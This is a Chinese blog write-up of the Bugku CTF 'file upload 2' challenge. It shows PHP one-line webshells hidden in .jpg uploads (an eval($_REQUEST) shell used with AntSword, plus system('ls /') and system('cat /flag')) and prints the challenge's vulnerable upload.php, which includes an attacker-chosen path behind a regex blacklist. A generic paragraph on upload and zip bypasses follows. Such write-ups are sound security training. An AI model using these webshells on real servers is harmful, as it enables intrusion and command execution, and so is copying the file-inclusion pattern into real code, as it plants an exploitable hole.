CTF—文件上传练习

Bugku_文件上传2

今天做题的时候发现了这道题尝试了好久才搞出来,记录一下!

方法一

一个欢迎界面

在这里插入图片描述
查看源码:在注释中看到了upload.php
在这里插入图片描述
访问upload.php:
在这里插入图片描述
只能上传jpg gif png格式的文件,且大小不能超过100kib

我们写一句话木马,改后缀为jpg格式:
在这里插入图片描述
上传成功了!
访问一下路径:发现php被解析掉了
在这里插入图片描述

换一个一句话木马<script language="php">eval($_REQUEST[ABC])</script>
修改后缀为jpg格式,继续上传:上传成功,但是访问路径页面显示为空
在这里插入图片描述
尝试用蚁剑连接:
在这里插入图片描述
竟然连接成功了!!1
在根目录下可以找到flag!!

在后端可以看到源码:

<!-- upload.php -->
<?php
    if(!isset($_GET['file']))
    {
        header('Location: ./index.php?file=hello.php');
        exit();
    }
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/php:\/\/|http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<h1>NAIVE!!!</h1>";
        }
        else
        {
            include($file);
        }
    }
?>

方法二

依旧上传一句话木马,是通过命令执行的方式将文件显示出来:

<script language=php>system("ls /")</script>

修改文件后缀为jpg,上传成功!
访问路径发现文件flag
在这里插入图片描述
然后再上传图片马:

<script language=php>system("cat /flag")</script>

修改后缀上传!
访问路径得到flag!!
在这里插入图片描述

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
CTF(Capture The Flag)是一种网络安全竞赛,其中包含多个与网络安全相关的题目,玩家需要通过解决这些题目来获取各种FLAG。在CTF比赛中,文件上传和解压缩是常见的题型之一。 文件上传和解压缩也是Web开发中常见的功能之一。在CTF比赛中,通常会出现一个具有文件上传功能的网站,目标是实现绕过网站的安全限制,上传一个恶意的zip文件。 要成功上传一个恶意的zip文件,需要对网站进行渗透测试,找到相应的漏洞。常见的漏洞包括文件类型验证不严格、上传路径没有限制等。渗透测试者可以通过修改file的Content-Type参数,将其伪装成zip文件,从而绕过文件类型验证。此外,还可以通过畸形的文件名、路径进行绕过。 成功上传恶意的zip文件后,需要进行解压缩,通常会将zip文件中的内容解压到服务器的指定路径。解压缩操作也可能存在漏洞,例如在解压缩时未对文件名进行过滤、解压缩路径的限制不严格等。渗透测试者可以通过构造恶意的zip文件,来绕过相关的限制,以实现对服务器的攻击。 为了防止这种情况发生,在进行文件上传时,应该进行严格的文件类型验证,确保只有允许的文件类型才能被上传。同时,应该对上传路径和解压缩路径进行限制,避免恶意文件对服务器造成损害。 CTF比赛中的文件上传和解压缩相关题目,旨在考察参赛者对文件上传和解压缩功能的理解,以及对常见漏洞的识别和利用能力。通过解决这些题目,参赛者可以提高自己的网络安全知识和技能。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值